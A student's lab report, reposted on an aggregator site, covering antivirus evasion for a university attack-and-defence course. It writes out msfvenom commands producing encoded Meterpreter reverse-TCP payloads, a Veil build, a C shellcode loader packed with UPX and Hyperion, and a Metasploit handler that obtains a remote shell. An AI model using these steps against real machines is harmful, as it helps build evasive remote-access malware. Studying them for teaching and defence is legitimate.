20232308 2025-2026-1 《网络与系统攻防技术》实验三实验报告

news/2025/10/27 19:26:01/文章来源:https://www.cnblogs.com/outlier/p/19169933

1.实验内容

1.1 实践内容

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • veil,加壳工具
  • 使用C + shellcode编程
    (2)通过组合应用各种技术实现恶意代码免杀
    如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
    (3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

1.2 本周学习内容

本周学习了关于免杀原理以及相应的技术,介绍了通过什么样的方式对恶意软件进行处理可以是其不被杀毒软件所检测

1.3 问题回答

(1)杀软是如何检测出恶意代码的?

  • 特征码检测
    恶意代码会留下独特的痕迹,比如一段特定的二进制代码、字符串或哈希值。杀软内置病毒特征库,将待检测文件与库中特征比对,一旦匹配就判定为恶意代码。
  • 行为分析检测
    不依赖预设特征,而是监控程序运行后的行为。如果程序出现恶意操作,杀软会判定其为恶意代码并拦截
    (2)免杀是做什么?
    目的是让恶意代码例如病毒、木马、远控程序绕过杀毒软件的检测和拦截,能在目标设备上正常运行。
    (3)免杀的基本方法有哪些?
  1. 修改特征码
    对恶意代码的二进制内容做微小修改,比如替换无关字符、调整代码顺序,不影响功能但改变特征码。
  2. 用加壳工具给恶意代码加壳,让杀软看不到原始特征
  3. 伪装行为,降低恶意行为的存在感,分时段执行操作或者模仿正常程序的联网规律。绑定到正常软件中,借助正常程序的 “信任度” 掩盖自身行为。
    利用杀软漏洞
  4. 针对特定杀软的检测漏洞(如特征库未覆盖的盲区、行为分析的判定逻辑缺陷),设计恶意代码,让杀软无法识别。

2.实验过程

2.1 实验准备

查看主机和虚拟机的ip地址
8710d4e2455ae942b89934c22d46d82b
40d39e59c8c902dc9be5fd78ea1510a1

2.2 使用msfvenom命令学习生成payload

(1)普通生成payload
输入命令msfvenom -p windows/meterpreter/reverse tcp LHoST=192.168.78.134 PORT=2308 -f exe >t320232308.exe
4628b984dcd8b554d09971670c16c3ac
将生成好的文件放入网站https://www.virustotal.com/gui/home/upload
6b30d4c60d85744e8fa569eb03531d4f
可以将这个查出率作为参照,以此来查看后续免杀效果如何
(2)使用编码器对payload进行一次编码
输入指令msfvenom -p windows/meterpreter/reverse tcp -e x86/shikata ga nai -b '\x00'LHOST=172.16.78.134 LPORT=2308 -f exe > t3 encoded 20232308.exe
0936b580c7e46512e70564612c34b98c
3b26b54571d8232d9900d0ff2b0b2476
从结果我们可以看到一次编码对于查出率几乎没什么影响
(3)对payload进行多次编码
输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10b'\x00' LHOST=172.16.78.134 LPORT=2308 -f exe > t3-10encoded 20232308.exe
0e76b936f94bdaf32aebb644432289c4
799915c1801cec2fe473e49f58d70a71
从结果来看,编码十次的效果也不是很显著,几乎没影响
(4)生成jar文件和编码的jar文件
输入命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.78.134 LPORT=2308 x>t3 jar20232308.jar
利用命令msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHosT=192.168.78.134 LPORT=2308 x>t3 10jar20232308.jar来进行编码
a21b88eb6a30679b3838da8a985ddc95
4baae19a03fc84bb64e67a1d42d5b796
92a1290daf9617af2afe9a7b62c09548
通过结果我们发现jar的免杀效果要强于exe文件,但是对jar类型payload进行编码后得出的结果我发现和不编码的免杀效果基本一直
(5)生成php文件和编码的php文件
输入命令msfvenom -p java/meterpreter/reverse tcp LHOsT=192.168.78.134 LPORT=2308x>t3 php20232308.php来生成php文件
输入msfvenom -p java/meterpreter/reverse tcp -e x86/shikata ga nai -i 10 LHosT=192.168.78.134 LPORT=2308 x>t3 10php20232308.php来对其进行编码,生成编码的php文件
396f3154a1f2028948005d4f50c3b439
b86f9a34a03d49fd7eaf238fc9946dce
b93e16fb5c693728ff029fd1a21aa610
不难发现php的免杀效果还是可以的,但是编码和不编码的区别不大,二者免杀能力相似
(6)生成elf文件和编码的elf文件
输入命令msfvenom -p java/meterpreter/reverse tcp LHosT=192.168.78.134 LPORT=2308x>t3 elf20232308.elf来生成elf文件
输入imsfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga nai -i 10 LHosT=192.168.78.134 LPORT=2308 x>t3 10elf20232308.elf来生成编码的elf文件
afe3c6a3a51c99a7a116cfb454c8a7f4
得到的检出率均为30/64,可以看出相较于jar和php,elf的查杀效果要更好

2.3 使用veil工具生成

直接使用sudo apt -y install veil下载,会发现需要时间过长,此处通过20232327杨文贤同学的帮助,通过使用从github上克隆veil代码库的方法进行安装
安装相关依赖sudo apt install -y git curl wine python3 python3-pip mingw-w64
克隆Veil代码库git clone https://github.com/Veil-Framework/Veil.git
进入Veil目录cd Veil/config
使用vi setup.sh来编辑,将veil的源从github换成gitee可以大大缩短下载时间https://gitee.com/spears/VeilDependencies.git
507d11afe7f2bb7e392547399ca6a0c2
b327c1ef3bb7da8b58036e235dee3552
24024cdaee11bcf64b5f46df90de0054
可以看到此处已经安装成功
输入use evasion,进入Veil—Evasion
选用c/meterpretermrev_tcp.py
ac5b86fbd458cf62867141c5908f1957
依次输入命令
set LHOST 192.168.78.134
set LPORT 2308
generate
并且将文件命名为payload20232308,按回车之后会弹出生成成功的标签,并且会附带文件的地址
2fdafd0c9caee432c59939d9898b8a2a
按照地址寻找,发现已经成功生成了文件payload20232308.exe
2a22565ea3b7980d9ab4695c59ef467a
进行查杀之后发现效果并不理想(很奇怪)
13712d2e2232ebac366cd8d9dcea7dc1

2.4 使用C+shellcode编程

输入指令windows/meterpreter/reverse tcp LHOsT=192.168.78.134 LPORT=2308 -f C并且复制unsigned char buf[]后面的内容
38b07b97b14dc2b2c092c6abf7e762e8
输入vi 20232308c_sh.c,并加入main函数
f0799e2b603ccef1353935b121a2a311
编译,编译后将结果进行查杀检测
715f55e9cabeda6691ee847823d620a7
64b03b3e8fb499686fab9cada7a6c98f
此处根据结果分析,效果仍然不是很明显

2.5 尝试upx压缩壳和试hyperion加密壳

(1)upx压缩壳
输入指令upx 20232308c sh.exe0 20232308c_shupx.exe对文件进行压缩加壳
7a303e7de0cb779628d506b7138aa239
检测结果并不好,经过思考我认为是因为目前大部分的查杀对壳都比较敏感
(2)hyperion
输入命令cp 20232308c_sh.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion
wine hyperion.exe -v 20232308c_sh.exe 20232308c_sh hyp.exe
将加密文件放入工作目录下并加密
158e4d878e9344bbf14bc0d7703bca69
进行检测
cdca4b959bbf0623f41759611d59cf8f
通过结果分析,数值反而升高了,更说明壳已经被大部分公司广泛记录

2.6 进行技术组合应用

使用msfvenom工具来生成一个攻击载荷,输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00’LHOST=192168.78.134 LPORT=2308f>20232308_sh.c
使用vi工具,在生成的文件中加入main函数如下。
int main(){ int (func)() = (int()())buf; func(); }
使用MinGW-w64编译该源文件。
i686-w64-mingw32-g++ 20232308 shellcode.c -0 20232308 shellcode.exe
使用upx加一层压缩壳。
upx 20232308 shellcode.exe -0 20232308 shellcode upx.exe
使用hyperion加一层加密壳。
wine hyperion.exe -v 20232308_shellcode_upx.exe 20232308_shellcode_upx_hyp.exe
bb9a53f5fb4ac2ae580d087b9fac8a8f
将生成的文件传入主机,用火绒进行扫描,病毒被发现
2847d8ba6bf1d91f63d45da8cf0241ac
观察到生成的含有hyperion加密壳的效果不理想,分别测试了加壳与否
3923d9ecef6d4f71277903dc819939f2
4afd7d7ca4c5ba588c457be88f333fbc
发现不加壳的效果会显著提高

2.7 用另一电脑实测,在杀软开启的情况下,可运行并回连成功

考虑到在2.6这一步时,我的杀软成果的将该病毒查杀,因此在做这一步的时候我将杀软关闭
输入msfconsole打开控制台,逐条输入
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 1192.168.78.134
set LPORT 2308
exploit
可以看到成功获得了主机的shell
0f91b69899bd48baa932b4a48a8b48d1

3.问题及解决方案

  • 问题1:无法安装veil

  • 问题1解决方案:通过询问ai以及在同学们的帮助下通过换源的方式成功解决了问题,具体代码见上文

  • 问题2:在最后一步回连运行文件时会报错
    d97bfcc21a057bbd5b9c648505581f3b

  • 问题2解决方案:查阅相关资料以及询问ai后我知道可以在https://www.dll-files.com/libgcc_s_dw2-1.dll.html下载该文件并且放入系统目录中,即可解决问题

  • 问题3:通过多种免杀工具所构建的恶意程序很容易就被我的杀毒软件检测出来了

  • 问题3解决方案:经过思考我认为是由于随着技术的不断发展,我用于构建恶意工具的免杀工具早就被杀软重点标记,因此很容易就被查杀

4.学习感悟、思考等

通过本次实验,我收获颇丰,我尝试了各种免杀工具与技巧,包括msf编码器、veil、加壳工具的使用,C+shellcode编程方法,各种免杀方法的组合运用等等,在这个过程中是我不仅对课内所学知识点产生了更深刻的印象,也对于免杀这项技术有了更浓厚的兴趣
实验过程不是一帆风顺的,无论是从下载veil时不明所以的报错还是到后来回连时候的报错,但是好在有同学们以及ai工具的帮助,最终还是顺利的完成了任务,在整个的过程中很好的锻炼了我的分析问题、解决问题的能力以及与他人沟通问题的能力
同时我也对免杀技术有了更深刻的体会,感受到现在杀毒软件的强大,或许是因为实验涉及的免杀技巧已经存在了很久,所以没有办法达到特别好的免杀效果,但是虽然技术的发展,以后肯定会出现更加先进更加难以被察觉的免杀技术出现,这也对我们的网络攻防技术提出了更高的要求,因此我们要时刻保持警惕,保护好自己的设备安全

参考资料

  • 实验指导书
  • 一位优秀学姐的实验报告

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/948028.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

「WC2014-紫荆花之恋」题解

题解记录P3920 [WC2014] 紫荆花之恋 sol 首先如果不带修的话就是点分治板子,带修的话就是动态点分树板子。 由于写过一篇动态点分树的博客,这里就对动态点分树部分不详细讲解了,主要讲一下信息维护吧。不会的话可以…

2025.10.27C 城堡考古 题解

有同学让我造福人类,所以来写一篇。考虑显然没有什么通项公式可以利用的,但是注意到 \(m\) 仅仅只有小小的 \(6\),考虑状压 \(dp\) 的思路。设 \(dp_{i,j}\) 表示当前已经排了 \(i\) 列,状态为 \(j\) 的方案数,其…

【密码学实战】openHiTLS PKCS12命令行程序: PKCS12文件生成与解析

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

[xp] GVim v9.0.494 (or thereabouts) is the last version known to support Windows XP.

下载地址:https://github.com/vim/vim-win32-installer/releases/tag/v9.0.0494If you need the last version of GVim (the GUI build of Vim) that officially supports Windows XP, here’s what I found — and s…

线段树;区间求和优化

线段树;区间求和优化线段树构造: 线段树:4*空间 第一种: #define maxn 100007//元素个数 int SegTree[maxn << 2];//线段树 // int lazy[maxn << 2];//延迟更新 int A[maxn];//原是数组第二种:结构体…

实用指南:2.CSS3.(2).html

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

「CTSC2017-游戏」题解

题解记录P3772 [CTSC2017] 游戏 sol 首先,由期望的线性性,把贡献拆到单点上,对每一场计算其胜利的概率即可。 首先已知的局可以不管,未知的局,显然只与其两侧最近的已知局有关。后面运用的一些概率表达在题面最下…

谢谢你周医生

谢谢你 周敏,张景     南京很美,想起你们我的心也很温暖

想让默认头像不再千篇一律,就顺手复刻了一下 GitHub 的思路

探索如何让默认头像不再千篇一律,我用 Go 复刻了 GitHub 风格的头像生成逻辑,根据输入生成独一无二的方块头像。文章分享了实现原理、效果展示以及未来扩展的思路在各种平台上,初始注册的用户通常都会被分配一个默认…

来源未知

点击查看代码 from PIL import Image# 定义字符集合 ascii_char = list("$@B%8&W#*oahkbdpqwmZO0QLCJYXzcvunxrjft/\|()1{}[]?-_+~<>i!lI;:,\"^`. ")def get_char(r, g, b, alpha=256):if a…

10.27(补)

继承和多态的动手动脑整理的word补上 链接:[https://files.cnblogs.com/files/blogs/847692/20243732张博学课后作业4.zip?t=1761562926&download=true]

vue3 vue3-form-element表单生成工具 输入框增加后缀

JSON schema数据{"title": "测试注册表单","description": "A simple form example.","type": "object","properties": {"firstName&quo…

java(3)基础规范

Java对大小写敏感。 关键字class的意思是类。JAVA是面向对象的语言,所有代码必须位于类里面。 编译后的源文件,得到相应的字节码文件,编译器为每个类生成独立的字节码文件。 main方法是JAVA应用程序的入口方法。格式…

袁天罡称骨歌的评骨格歌诀 - 木易

二两一钱:男:此命非业谓大凶,平生灾难事叠重,凶祸频临陷逆境,终世困苦事不成。女:生身此命运不通,乌云盖月黑朦胧,莫向故园载花木,可来幽地种青松。二两二:男:此命推来真气人,身寒骨冷若伶仃,劳劳碌碌虚度…

stm32F411RETx系列无CAN的处理思路

CAN 考虑到STM32F411RETX系列根本没有CAN,这该怎么办呢? 我在网上搜索到了一个解决方法: 使用一个独立的 CAN控制器芯片(如 MCP2515,这是最常用的选择),通过 SPI接口与 STM32通信。STM32 作为主机,通过 SPI协议…

Date 10.27

在 Print 之前 到现在还是想不明白为什么不骗那显眼的 80pts。 赛时 420/500pts,T5放了道紫。 A - 玩数字P.S. \(n \le 10^{15}\) 唐题,可以 \(O(\sqrt n)\) 解决,中间进行数位分离即可,当然你也可以打表。 Code #…

20232402 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容 1.1 基础免杀技术测试​ (1)msfvenom 编码器免杀: 生成未编码与多次编码的反向连接恶意程序,分别复制到靶机,对比杀软拦截情况,验证编码器对特征码的混淆效果;​ (2)Veil 工具免杀: 通过 Veil 生…

读书日记3

6到10章深入探讨了编程中最基础的元素——变量和数据类型,让我看到了平凡中的非凡。 核心收获与深刻见解: 1.变量命名的艺术性:McConnell详细阐述了优秀变量名的特征——表达"什么"而不是"如何"…

2025年多商户商城代理招募加盟/多商户项目合伙人加盟最新推荐榜:多商户兼职项目合伙人/B2B2C商城代理招募公司/聚焦项目孵化与商户扶持能力深度解析

随着大众创业热潮持续升温,以及数字化商业模式的快速迭代,创业者在选择项目合作方时常常面临多重考量 —— 如何辨别企业项目的可行性、如何匹配自身资源的合作模式、如何降低创业初期的运营风险,成为当下创业者关注…

20232420 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容学会使用msf编码器,veil-evasion,利用shellcode编程,加壳等免杀工具或技巧。尝试实现恶意代码免杀。理解免杀机制和原理,认识到杀软局限性。2.实验过程 2.1 免杀效果参考基准 2.1.1 免杀效果的评价 用Vi…